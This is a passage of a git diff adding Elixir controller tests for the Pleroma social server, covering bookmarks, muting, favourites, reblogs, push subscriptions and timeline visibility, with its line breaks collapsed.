bookmarks_uri = "/api/v1/bookmarks" + + %{conn: conn} = oauth_access(["write:bookmarks", "read:bookmarks"]) + author = insert(:user) + + {:ok, activity1} = CommonAPI.post(author, %{status: "heweoo?"}) + {:ok, activity2} = CommonAPI.post(author, %{status: "heweoo!"}) + + response1 = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity1.id}/bookmark") + + assert json_response_and_validate_schema(response1, 200)["bookmarked"] == true + + response2 = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity2.id}/bookmark") + + assert json_response_and_validate_schema(response2, 200)["bookmarked"] == true + + bookmarks = get(conn, bookmarks_uri) + + assert [ + json_response_and_validate_schema(response2, 200), + json_response_and_validate_schema(response1, 200) + ] == + json_response_and_validate_schema(bookmarks, 200) + + response1 = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity1.id}/unbookmark") + + assert json_response_and_validate_schema(response1, 200)["bookmarked"] == false + + bookmarks = get(conn, bookmarks_uri) + + assert [json_response_and_validate_schema(response2, 200)] == + json_response_and_validate_schema(bookmarks, 200) + end + + describe "conversation muting" do + setup do: oauth_access(["write:mutes"]) + + setup do + post_user = insert(:user) + {:ok, activity} = CommonAPI.post(post_user, %{status: "HIE"}) + %{activity: activity} + end + + test "mute conversation", %{conn: conn, activity: activity} do + id_str = to_string(activity.id) + + assert %{"id" => ^id_str, "muted" => true} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/mute") + |> json_response_and_validate_schema(200) + end + + test "cannot mute already muted conversation", %{conn: conn, user: user, activity: activity} do + {:ok, _} = CommonAPI.add_mute(user, activity) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/mute") + + assert json_response_and_validate_schema(conn, 400) == %{ + "error" => "conversation is already muted" + } + end + + test "unmute conversation", %{conn: conn, user: user, activity: activity} do + {:ok, _} = CommonAPI.add_mute(user, activity) + + id_str = to_string(activity.id) + + assert %{"id" => ^id_str, "muted" => false} = + conn + # |> assign(:user, user) + |> post("/api/v1/statuses/#{activity.id}/unmute") + |> json_response_and_validate_schema(200) + end + end + + test "Repeated posts that are replies incorrectly have in_reply_to_id null", %{conn: conn} do + user1 = insert(:user) + user2 = insert(:user) + user3 = insert(:user) + + {:ok, replied_to} = CommonAPI.post(user1, %{status: "cofe"}) + + # Reply to status from another user + conn1 = + conn + |> assign(:user, user2) + |> assign(:token, insert(:oauth_token, user: user2, scopes: ["write:statuses"])) + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id}) + + assert %{"content" => "xD", "id" => id} = json_response_and_validate_schema(conn1, 200) + + activity = Activity.get_by_id_with_object(id) + + assert Object.normalize(activity).data["inReplyTo"] == Object.normalize(replied_to).data["id"] + assert Activity.get_in_reply_to_activity(activity).id == replied_to.id + + # Reblog from the third user + conn2 = + conn + |> assign(:user, user3) + |> assign(:token, insert(:oauth_token, user: user3, scopes: ["write:statuses"])) + |> put_req_header("content-type", "application/json") + |> post("/api/v1/statuses/#{activity.id}/reblog") + + assert %{"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}} = + json_response_and_validate_schema(conn2, 200) + + assert to_string(activity.id) == id + + # Getting third user status + conn3 = + conn + |> assign(:user, user3) + |> assign(:token, insert(:oauth_token, user: user3, scopes: ["read:statuses"])) + |> get("api/v1/timelines/home") + + [reblogged_activity] = json_response(conn3, 200) + + assert reblogged_activity["reblog"]["in_reply_to_id"] == replied_to.id + + replied_to_user = User.get_by_ap_id(replied_to.data["actor"]) + assert reblogged_activity["reblog"]["in_reply_to_account_id"] == replied_to_user.id + end + + describe "GET /api/v1/statuses/:id/favourited_by" do + setup do: oauth_access(["read:accounts"]) + + setup %{user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "test"}) + + %{activity: activity} + end + + test "returns users who have favorited the status", %{conn: conn, activity: activity} do + other_user = insert(:user) + {:ok, _} = CommonAPI.favorite(other_user, activity.id) + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/favourited_by") + |> json_response_and_validate_schema(:ok) + + [%{"id" => id}] = response + + assert id == other_user.id + end + + test "returns empty array when status has not been favorited yet", %{ + conn: conn, + activity: activity + } do + response = + conn + |> get("/api/v1/statuses/#{activity.id}/favourited_by") + |> json_response_and_validate_schema(:ok) + + assert Enum.empty?(response) + end + + test "does not return users who have favorited the status but are blocked", %{ + conn: %{assigns: %{user: user}} = conn, + activity: activity + } do + other_user = insert(:user) + {:ok, _user_relationship} = User.block(user, other_user) + + {:ok, _} = CommonAPI.favorite(other_user, activity.id) + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/favourited_by") + |> json_response_and_validate_schema(:ok) + + assert Enum.empty?(response) + end + + test "does not fail on an unauthenticated request", %{activity: activity} do + other_user = insert(:user) + {:ok, _} = CommonAPI.favorite(other_user, activity.id) + + response = + build_conn() + |> get("/api/v1/statuses/#{activity.id}/favourited_by") + |> json_response_and_validate_schema(:ok) + + [%{"id" => id}] = response + assert id == other_user.id + end + + test "requires authentication for private posts", %{user: user} do + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "@#{other_user.nickname} wanna get some #cofe together?", + visibility: "direct" + }) + + {:ok, _} = CommonAPI.favorite(other_user, activity.id) + + favourited_by_url = "/api/v1/statuses/#{activity.id}/favourited_by" + + build_conn() + |> get(favourited_by_url) + |> json_response_and_validate_schema(404) + + conn = + build_conn() + |> assign(:user, other_user) + |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"])) + + conn + |> assign(:token, nil) + |> get(favourited_by_url) + |> json_response_and_validate_schema(404) + + response = + conn + |> get(favourited_by_url) + |> json_response_and_validate_schema(200) + + [%{"id" => id}] = response + assert id == other_user.id + end + + test "returns empty array when :show_reactions is disabled", %{conn: conn, activity: activity} do + clear_config([:instance, :show_reactions], false) + + other_user = insert(:user) + {:ok, _} = CommonAPI.favorite(other_user, activity.id) + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/favourited_by") + |> json_response_and_validate_schema(:ok) + + assert Enum.empty?(response) + end + end + + describe "GET /api/v1/statuses/:id/reblogged_by" do + setup do: oauth_access(["read:accounts"]) + + setup %{user: user} do + {:ok, activity} = CommonAPI.post(user, %{status: "test"}) + + %{activity: activity} + end + + test "returns users who have reblogged the status", %{conn: conn, activity: activity} do + other_user = insert(:user) + {:ok, _} = CommonAPI.repeat(activity.id, other_user) + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response_and_validate_schema(:ok) + + [%{"id" => id}] = response + + assert id == other_user.id + end + + test "returns empty array when status has not been reblogged yet", %{ + conn: conn, + activity: activity + } do + response = + conn + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response_and_validate_schema(:ok) + + assert Enum.empty?(response) + end + + test "does not return users who have reblogged the status but are blocked", %{ + conn: %{assigns: %{user: user}} = conn, + activity: activity + } do + other_user = insert(:user) + {:ok, _user_relationship} = User.block(user, other_user) + + {:ok, _} = CommonAPI.repeat(activity.id, other_user) + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response_and_validate_schema(:ok) + + assert Enum.empty?(response) + end + + test "does not return users who have reblogged the status privately", %{ + conn: conn + } do + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(other_user, %{status: "my secret post"}) + + {:ok, _} = CommonAPI.repeat(activity.id, other_user, %{visibility: "private"}) + + response = + conn + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response_and_validate_schema(:ok) + + assert Enum.empty?(response) + end + + test "does not fail on an unauthenticated request", %{activity: activity} do + other_user = insert(:user) + {:ok, _} = CommonAPI.repeat(activity.id, other_user) + + response = + build_conn() + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response_and_validate_schema(:ok) + + [%{"id" => id}] = response + assert id == other_user.id + end + + test "requires authentication for private posts", %{user: user} do + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "@#{other_user.nickname} wanna get some #cofe together?", + visibility: "direct" + }) + + build_conn() + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response_and_validate_schema(404) + + response = + build_conn() + |> assign(:user, other_user) + |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"])) + |> get("/api/v1/statuses/#{activity.id}/reblogged_by") + |> json_response_and_validate_schema(200) + + assert [] == response + end + end + + test "context" do + user = insert(:user) + + {:ok, %{id: id1}} = CommonAPI.post(user, %{status: "1"}) + {:ok, %{id: id2}} = CommonAPI.post(user, %{status: "2", in_reply_to_status_id: id1}) + {:ok, %{id: id3}} = CommonAPI.post(user, %{status: "3", in_reply_to_status_id: id2}) + {:ok, %{id: id4}} = CommonAPI.post(user, %{status: "4", in_reply_to_status_id: id3}) + {:ok, %{id: id5}} = CommonAPI.post(user, %{status: "5", in_reply_to_status_id: id4}) + + response = + build_conn() + |> get("/api/v1/statuses/#{id3}/context") + |> json_response_and_validate_schema(:ok) + + assert %{ + "ancestors" => [%{"id" => ^id1}, %{"id" => ^id2}], + "descendants" => [%{"id" => ^id4}, %{"id" => ^id5}] + } = response + end + + test "favorites paginate correctly" do + %{user: user, conn: conn} = oauth_access(["read:favourites"]) + other_user = insert(:user) + {:ok, first_post} = CommonAPI.post(other_user, %{status: "bla"}) + {:ok, second_post} = CommonAPI.post(other_user, %{status: "bla"}) + {:ok, third_post} = CommonAPI.post(other_user, %{status: "bla"}) + + {:ok, _first_favorite} = CommonAPI.favorite(user, third_post.id) + {:ok, _second_favorite} = CommonAPI.favorite(user, first_post.id) + {:ok, third_favorite} = CommonAPI.favorite(user, second_post.id) + + result = + conn + |> get("/api/v1/favourites?limit=1") + + assert [%{"id" => post_id}] = json_response_and_validate_schema(result, 200) + assert post_id == second_post.id + + # Using the header for pagination works correctly + [next, _] = get_resp_header(result, "link") |> hd() |> String.split(", ") + [_, max_id] = Regex.run(~r/max_id=([^&]+)/, next) + + assert max_id == third_favorite.id + + result = + conn + |> get("/api/v1/favourites?max_id=#{max_id}") + + assert [%{"id" => first_post_id}, %{"id" => third_post_id}] = + json_response_and_validate_schema(result, 200) + + assert first_post_id == first_post.id + assert third_post_id == third_post.id + end + + test "returns the favorites of a user" do + %{user: user, conn: conn} = oauth_access(["read:favourites"]) + other_user = insert(:user) + + {:ok, _} = CommonAPI.post(other_user, %{status: "bla"}) + {:ok, activity} = CommonAPI.post(other_user, %{status: "trees are happy"}) + + {:ok, last_like} = CommonAPI.favorite(user, activity.id) + + first_conn = get(conn, "/api/v1/favourites") + + assert [status] = json_response_and_validate_schema(first_conn, 200) + assert status["id"] == to_string(activity.id) + + assert [{"link", _link_header}] = + Enum.filter(first_conn.resp_headers, fn element -> match?({"link", _}, element) end) + + # Honours query params + {:ok, second_activity} = + CommonAPI.post(other_user, %{ + status: "Trees Are Never Sad Look At Them Every Once In Awhile They're Quite Beautiful." + }) + + {:ok, _} = CommonAPI.favorite(user, second_activity.id) + + second_conn = get(conn, "/api/v1/favourites?since_id=#{last_like.id}") + + assert [second_status] = json_response_and_validate_schema(second_conn, 200) + assert second_status["id"] == to_string(second_activity.id) + + third_conn = get(conn, "/api/v1/favourites?limit=0") + + assert [] = json_response_and_validate_schema(third_conn, 200) + end + + test "expires_at is nil for another user" do + %{conn: conn, user: user} = oauth_access(["read:statuses"]) + expires_at = DateTime.add(DateTime.utc_now(), 1_000_000) + {:ok, activity} = CommonAPI.post(user, %{status: "foobar", expires_in: 1_000_000}) + + assert %{"pleroma" => %{"expires_at" => a_expires_at}} = + conn + |> get("/api/v1/statuses/#{activity.id}") + |> json_response_and_validate_schema(:ok) + + {:ok, a_expires_at, 0} = DateTime.from_iso8601(a_expires_at) + assert DateTime.diff(expires_at, a_expires_at) == 0 + + %{conn: conn} = oauth_access(["read:statuses"]) + + assert %{"pleroma" => %{"expires_at" => nil}} = + conn + |> get("/api/v1/statuses/#{activity.id}") + |> json_response_and_validate_schema(:ok) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/subscription_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/subscription_controller_test.exs new file mode 100644 index 000000000..d36bb1ae8 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/subscription_controller_test.exs @@ -0,0 +1,199 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.SubscriptionControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + alias Pleroma.Web.Push + alias Pleroma.Web.Push.Subscription + + @sub %{ + "endpoint" => "https://example.com/example/1234", + "keys" => %{ + "auth" => "8eDyX_uCN0XRhSbY5hs7Hg==", + "p256dh" => + "BCIWgsnyXDv1VkhqL2P7YRBvdeuDnlwAPT2guNhdIoW3IP7GmHh1SMKPLxRf7x8vJy6ZFK3ol2ohgn_-0yP7QQA=" + } + } + @server_key Keyword.get(Push.vapid_config(), :public_key) + + setup do + user = insert(:user) + token = insert(:oauth_token, user: user, scopes: ["push"]) + + conn = + build_conn() + |> assign(:user, user) + |> assign(:token, token) + |> put_req_header("content-type", "application/json") + + %{conn: conn, user: user, token: token} + end + + defmacro assert_error_when_disable_push(do: yield) do + quote do + vapid_details = Application.get_env(:web_push_encryption, :vapid_details, []) + Application.put_env(:web_push_encryption, :vapid_details, []) + + assert %{"error" => "Web push subscription is disabled on this Pleroma instance"} == + unquote(yield) + + Application.put_env(:web_push_encryption, :vapid_details, vapid_details) + end + end + + describe "creates push subscription" do + test "returns error when push disabled ", %{conn: conn} do + assert_error_when_disable_push do + conn + |> post("/api/v1/push/subscription", %{subscription: @sub}) + |> json_response_and_validate_schema(403) + end + end + + test "successful creation", %{conn: conn} do + result = + conn + |> post("/api/v1/push/subscription", %{ + "data" => %{ + "alerts" => %{"mention" => true, "test" => true, "pleroma:chat_mention" => true} + }, + "subscription" => @sub + }) + |> json_response_and_validate_schema(200) + + [subscription] = Pleroma.Repo.all(Subscription) + + assert %{ + "alerts" => %{"mention" => true, "pleroma:chat_mention" => true}, + "endpoint" => subscription.endpoint, + "id" => to_string(subscription.id), + "server_key" => @server_key + } == result + end + end + + describe "gets a user subscription" do + test "returns error when push disabled ", %{conn: conn} do + assert_error_when_disable_push do + conn + |> get("/api/v1/push/subscription", %{}) + |> json_response_and_validate_schema(403) + end + end + + test "returns error when user hasn't subscription", %{conn: conn} do + res = + conn + |> get("/api/v1/push/subscription", %{}) + |> json_response_and_validate_schema(404) + + assert %{"error" => "Record not found"} == res + end + + test "returns a user subsciption", %{conn: conn, user: user, token: token} do + subscription = + insert(:push_subscription, + user: user, + token: token, + data: %{"alerts" => %{"mention" => true}} + ) + + res = + conn + |> get("/api/v1/push/subscription", %{}) + |> json_response_and_validate_schema(200) + + expect = %{ + "alerts" => %{"mention" => true}, + "endpoint" => "https://example.com/example/1234", + "id" => to_string(subscription.id), + "server_key" => @server_key + } + + assert expect == res + end + end + + describe "updates a user subsciption" do + setup %{conn: conn, user: user, token: token} do + subscription = + insert(:push_subscription, + user: user, + token: token, + data: %{"alerts" => %{"mention" => true}} + ) + + %{conn: conn, user: user, token: token, subscription: subscription} + end + + test "returns error when push disabled ", %{conn: conn} do + assert_error_when_disable_push do + conn + |> put("/api/v1/push/subscription", %{data: %{"alerts" => %{"mention" => false}}}) + |> json_response_and_validate_schema(403) + end + end + + test "returns updated subsciption", %{conn: conn, subscription: subscription} do + res = + conn + |> put("/api/v1/push/subscription", %{ + data: %{"alerts" => %{"mention" => false, "follow" => true}} + }) + |> json_response_and_validate_schema(200) + + expect = %{ + "alerts" => %{"follow" => true, "mention" => false}, + "endpoint" => "https://example.com/example/1234", + "id" => to_string(subscription.id), + "server_key" => @server_key + } + + assert expect == res + end + end + + describe "deletes the user subscription" do + test "returns error when push disabled ", %{conn: conn} do + assert_error_when_disable_push do + conn + |> delete("/api/v1/push/subscription", %{}) + |> json_response_and_validate_schema(403) + end + end + + test "returns error when user hasn't subscription", %{conn: conn} do + res = + conn + |> delete("/api/v1/push/subscription", %{}) + |> json_response_and_validate_schema(404) + + assert %{"error" => "Record not found"} == res + end + + test "returns empty result and delete user subsciption", %{ + conn: conn, + user: user, + token: token + } do + subscription = + insert(:push_subscription, + user: user, + token: token, + data: %{"alerts" => %{"mention" => true}} + ) + + res = + conn + |> delete("/api/v1/push/subscription", %{}) + |> json_response_and_validate_schema(200) + + assert %{} == res + refute Pleroma.Repo.get(Subscription, subscription.id) + end + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/suggestion_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/suggestion_controller_test.exs new file mode 100644 index 000000000..7f08e187c --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/suggestion_controller_test.exs @@ -0,0 +1,18 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.SuggestionControllerTest do + use Pleroma.Web.ConnCase + + setup do: oauth_access(["read"]) + + test "returns empty result", %{conn: conn} do + res = + conn + |> get("/api/v1/suggestions") + |> json_response_and_validate_schema(200) + + assert res == [] + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/timeline_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/timeline_controller_test.exs new file mode 100644 index 000000000..c6e0268fd --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/timeline_controller_test.exs @@ -0,0 +1,560 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.TimelineControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + import Tesla.Mock + + alias Pleroma.Config + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + setup do + mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe "home" do + setup do: oauth_access(["read:statuses"]) + + test "does NOT embed account/pleroma/relationship in statuses", %{ + user: user, + conn: conn + } do + other_user = insert(:user) + + {:ok, _} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + + response = + conn + |> assign(:user, user) + |> get("/api/v1/timelines/home") + |> json_response_and_validate_schema(200) + + assert Enum.all?(response, fn n -> + get_in(n, ["account", "pleroma", "relationship"]) == %{} + end) + end + + test "the home timeline when the direct messages are excluded", %{user: user, conn: conn} do + {:ok, public_activity} = CommonAPI.post(user, %{status: ".", visibility: "public"}) + {:ok, direct_activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) + + {:ok, unlisted_activity} = CommonAPI.post(user, %{status: ".", visibility: "unlisted"}) + + {:ok, private_activity} = CommonAPI.post(user, %{status: ".", visibility: "private"}) + + conn = get(conn, "/api/v1/timelines/home?exclude_visibilities[]=direct") + + assert status_ids = json_response_and_validate_schema(conn, :ok) |> Enum.map(& &1["id"]) + assert public_activity.id in status_ids + assert unlisted_activity.id in status_ids + assert private_activity.id in status_ids + refute direct_activity.id in status_ids + end + end + + describe "public" do + @tag capture_log: true + test "the public timeline", %{conn: conn} do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "test"}) + + _activity = insert(:note_activity, local: false) + + conn = get(conn, "/api/v1/timelines/public?local=False") + + assert length(json_response_and_validate_schema(conn, :ok)) == 2 + + conn = get(build_conn(), "/api/v1/timelines/public?local=True") + + assert [%{"content" => "test"}] = json_response_and_validate_schema(conn, :ok) + + conn = get(build_conn(), "/api/v1/timelines/public?local=1") + + assert [%{"content" => "test"}] = json_response_and_validate_schema(conn, :ok) + + # does not contain repeats + {:ok, _} = CommonAPI.repeat(activity.id, user) + + conn = get(build_conn(), "/api/v1/timelines/public?local=true") + + assert [_] = json_response_and_validate_schema(conn, :ok) + end + + test "the public timeline includes only public statuses for an authenticated user" do + %{user: user, conn: conn} = oauth_access(["read:statuses"]) + + {:ok, _activity} = CommonAPI.post(user, %{status: "test"}) + {:ok, _activity} = CommonAPI.post(user, %{status: "test", visibility: "private"}) + {:ok, _activity} = CommonAPI.post(user, %{status: "test", visibility: "unlisted"}) + {:ok, _activity} = CommonAPI.post(user, %{status: "test", visibility: "direct"}) + + res_conn = get(conn, "/api/v1/timelines/public") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + end + + test "doesn't return replies if follower is posting with blocked user" do + %{conn: conn, user: blocker} = oauth_access(["read:statuses"]) + [blockee, friend] = insert_list(2, :user) + {:ok, blocker} = User.follow(blocker, friend) + {:ok, _} = User.block(blocker, blockee) + + conn = assign(conn, :user, blocker) + + {:ok, %{id: activity_id} = activity} = CommonAPI.post(friend, %{status: "hey!"}) + + {:ok, reply_from_blockee} = + CommonAPI.post(blockee, %{status: "heya", in_reply_to_status_id: activity}) + + {:ok, _reply_from_friend} = + CommonAPI.post(friend, %{status: "status", in_reply_to_status_id: reply_from_blockee}) + + # Still shows replies from yourself + {:ok, %{id: reply_from_me}} = + CommonAPI.post(blocker, %{status: "status", in_reply_to_status_id: reply_from_blockee}) + + response = + get(conn, "/api/v1/timelines/public") + |> json_response_and_validate_schema(200) + + assert length(response) == 2 + [%{"id" => ^reply_from_me}, %{"id" => ^activity_id}] = response + end + + test "doesn't return replies if follow is posting with users from blocked domain" do + %{conn: conn, user: blocker} = oauth_access(["read:statuses"]) + friend = insert(:user) + blockee = insert(:user, ap_id: "https://example.com/users/blocked") + {:ok, blocker} = User.follow(blocker, friend) + {:ok, blocker} = User.block_domain(blocker, "example.com") + + conn = assign(conn, :user, blocker) + + {:ok, %{id: activity_id} = activity} = CommonAPI.post(friend, %{status: "hey!"}) + + {:ok, reply_from_blockee} = + CommonAPI.post(blockee, %{status: "heya", in_reply_to_status_id: activity}) + + {:ok, _reply_from_friend} = + CommonAPI.post(friend, %{status: "status", in_reply_to_status_id: reply_from_blockee}) + + res_conn = get(conn, "/api/v1/timelines/public") + + activities = json_response_and_validate_schema(res_conn, 200) + [%{"id" => ^activity_id}] = activities + end + end + + defp local_and_remote_activities do + insert(:note_activity) + insert(:note_activity, local: false) + :ok + end + + describe "public with restrict unauthenticated timeline for local and federated timelines" do + setup do: local_and_remote_activities() + + setup do: clear_config([:restrict_unauthenticated, :timelines, :local], true) + + setup do: clear_config([:restrict_unauthenticated, :timelines, :federated], true) + + test "if user is unauthenticated", %{conn: conn} do + res_conn = get(conn, "/api/v1/timelines/public?local=true") + + assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ + "error" => "authorization required for timeline view" + } + + res_conn = get(conn, "/api/v1/timelines/public?local=false") + + assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ + "error" => "authorization required for timeline view" + } + end + + test "if user is authenticated" do + %{conn: conn} = oauth_access(["read:statuses"]) + + res_conn = get(conn, "/api/v1/timelines/public?local=true") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + + res_conn = get(conn, "/api/v1/timelines/public?local=false") + assert length(json_response_and_validate_schema(res_conn, 200)) == 2 + end + end + + describe "public with restrict unauthenticated timeline for local" do + setup do: local_and_remote_activities() + + setup do: clear_config([:restrict_unauthenticated, :timelines, :local], true) + + test "if user is unauthenticated", %{conn: conn} do + res_conn = get(conn, "/api/v1/timelines/public?local=true") + + assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ + "error" => "authorization required for timeline view" + } + + res_conn = get(conn, "/api/v1/timelines/public?local=false") + assert length(json_response_and_validate_schema(res_conn, 200)) == 2 + end + + test "if user is authenticated", %{conn: _conn} do + %{conn: conn} = oauth_access(["read:statuses"]) + + res_conn = get(conn, "/api/v1/timelines/public?local=true") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + + res_conn = get(conn, "/api/v1/timelines/public?local=false") + assert length(json_response_and_validate_schema(res_conn, 200)) == 2 + end + end + + describe "public with restrict unauthenticated timeline for remote" do + setup do: local_and_remote_activities() + + setup do: clear_config([:restrict_unauthenticated, :timelines, :federated], true) + + test "if user is unauthenticated", %{conn: conn} do + res_conn = get(conn, "/api/v1/timelines/public?local=true") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + + res_conn = get(conn, "/api/v1/timelines/public?local=false") + + assert json_response_and_validate_schema(res_conn, :unauthorized) == %{ + "error" => "authorization required for timeline view" + } + end + + test "if user is authenticated", %{conn: _conn} do + %{conn: conn} = oauth_access(["read:statuses"]) + + res_conn = get(conn, "/api/v1/timelines/public?local=true") + assert length(json_response_and_validate_schema(res_conn, 200)) == 1 + + res_conn = get(conn, "/api/v1/timelines/public?local=false") + assert length(json_response_and_validate_schema(res_conn, 200)) == 2 + end + end + + describe "direct" do + test "direct timeline", %{conn: conn} do + user_one = insert(:user) + user_two = insert(:user) + + {:ok, user_two} = User.follow(user_two, user_one) + + {:ok, direct} = + CommonAPI.post(user_one, %{ + status: "Hi @#{user_two.nickname}!", + visibility: "direct" + }) + + {:ok, _follower_only} = + CommonAPI.post(user_one, %{ + status: "Hi @#{user_two.nickname}!", + visibility: "private" + }) + + conn_user_two = + conn + |> assign(:user, user_two) + |> assign(:token, insert(:oauth_token, user: user_two, scopes: ["read:statuses"])) + + # Only direct should be visible here + res_conn = get(conn_user_two, "api/v1/timelines/direct") + + assert [status] = json_response_and_validate_schema(res_conn, :ok) + + assert %{"visibility" => "direct"} = status + assert status["url"] != direct.data["id"] + + # User should be able to see their own direct message + res_conn = + build_conn() + |> assign(:user, user_one) + |> assign(:token, insert(:oauth_token, user: user_one, scopes: ["read:statuses"])) + |> get("api/v1/timelines/direct") + + [status] = json_response_and_validate_schema(res_conn, :ok) + + assert %{"visibility" => "direct"} = status + + # Both should be visible here + res_conn = get(conn_user_two, "api/v1/timelines/home") + + [_s1, _s2] = json_response_and_validate_schema(res_conn, :ok) + + # Test pagination + Enum.each(1..20, fn _ -> + {:ok, _} = + CommonAPI.post(user_one, %{ + status: "Hi @#{user_two.nickname}!", + visibility: "direct" + }) + end) + + res_conn = get(conn_user_two, "api/v1/timelines/direct") + + statuses = json_response_and_validate_schema(res_conn, :ok) + assert length(statuses) == 20 + + max_id = List.last(statuses)["id"] + + res_conn = get(conn_user_two, "api/v1/timelines/direct?max_id=#{max_id}") + + assert [status] = json_response_and_validate_schema(res_conn, :ok) + + assert status["url"] != direct.data["id"] + end + + test "doesn't include DMs from blocked users" do + %{user: blocker, conn: conn} = oauth_access(["read:statuses"]) + blocked = insert(:user) + other_user = insert(:user) + {:ok, _user_relationship} = User.block(blocker, blocked) + + {:ok, _blocked_direct} = + CommonAPI.post(blocked, %{ + status: "Hi @#{blocker.nickname}!", + visibility: "direct" + }) + + {:ok, direct} = + CommonAPI.post(other_user, %{ + status: "Hi @#{blocker.nickname}!", + visibility: "direct" + }) + + res_conn = get(conn, "api/v1/timelines/direct") + + [status] = json_response_and_validate_schema(res_conn, :ok) + assert status["id"] == direct.id + end + end + + describe "list" do + setup do: oauth_access(["read:lists"]) + + test "does not contain retoots", %{user: user, conn: conn} do + other_user = insert(:user) + {:ok, activity_one} = CommonAPI.post(user, %{status: "Marisa is cute."}) + {:ok, activity_two} = CommonAPI.post(other_user, %{status: "Marisa is stupid."}) + {:ok, _} = CommonAPI.repeat(activity_one.id, other_user) + + {:ok, list} = Pleroma.List.create("name", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + + conn = get(conn, "/api/v1/timelines/list/#{list.id}") + + assert [%{"id" => id}] = json_response_and_validate_schema(conn, :ok) + + assert id == to_string(activity_two.id) + end + + test "works with pagination", %{user: user, conn: conn} do + other_user = insert(:user) + {:ok, list} = Pleroma.List.create("name", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + + Enum.each(1..30, fn i -> + CommonAPI.post(other_user, %{status: "post number #{i}"}) + end) + + res = + get(conn, "/api/v1/timelines/list/#{list.id}?limit=1") + |> json_response_and_validate_schema(:ok) + + assert length(res) == 1 + + [first] = res + + res = + get(conn, "/api/v1/timelines/list/#{list.id}?max_id=#{first["id"]}&limit=30") + |> json_response_and_validate_schema(:ok) + + assert length(res) == 29 + end + + test "list timeline", %{user: user, conn: conn} do + other_user = insert(:user) + {:ok, _activity_one} = CommonAPI.post(user, %{status: "Marisa is cute."}) + {:ok, activity_two} = CommonAPI.post(other_user, %{status: "Marisa is cute."}) + {:ok, list} = Pleroma.List.create("name", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + + conn = get(conn, "/api/v1/timelines/list/#{list.id}") + + assert [%{"id" => id}] = json_response_and_validate_schema(conn, :ok) + + assert id == to_string(activity_two.id) + end + + test "list timeline does not leak non-public statuses for unfollowed users", %{ + user: user, + conn: conn + } do + other_user = insert(:user) + {:ok, activity_one} = CommonAPI.post(other_user, %{status: "Marisa is cute."}) + + {:ok, _activity_two} = + CommonAPI.post(other_user, %{ + status: "Marisa is cute.", + visibility: "private" + }) + + {:ok, list} = Pleroma.List.create("name", user) + {:ok, list} = Pleroma.List.follow(list, other_user) + + conn = get(conn, "/api/v1/timelines/list/#{list.id}") + + assert [%{"id" => id}] = json_response_and_validate_schema(conn, :ok) + + assert id == to_string(activity_one.id) + end + end + + describe "hashtag" do + setup do: oauth_access(["n/a"]) + + @tag capture_log: true + test "hashtag timeline", %{conn: conn} do + following = insert(:user) + + {:ok, activity} = CommonAPI.post(following, %{status: "test #2hu"}) + + nconn = get(conn, "/api/v1/timelines/tag/2hu") + + assert [%{"id" => id}] = json_response_and_validate_schema(nconn, :ok) + + assert id == to_string(activity.id) + + # works for different capitalization too + nconn = get(conn, "/api/v1/timelines/tag/2HU") + + assert [%{"id" => id}] = json_response_and_validate_schema(nconn, :ok) + + assert id == to_string(activity.id) + end + + test 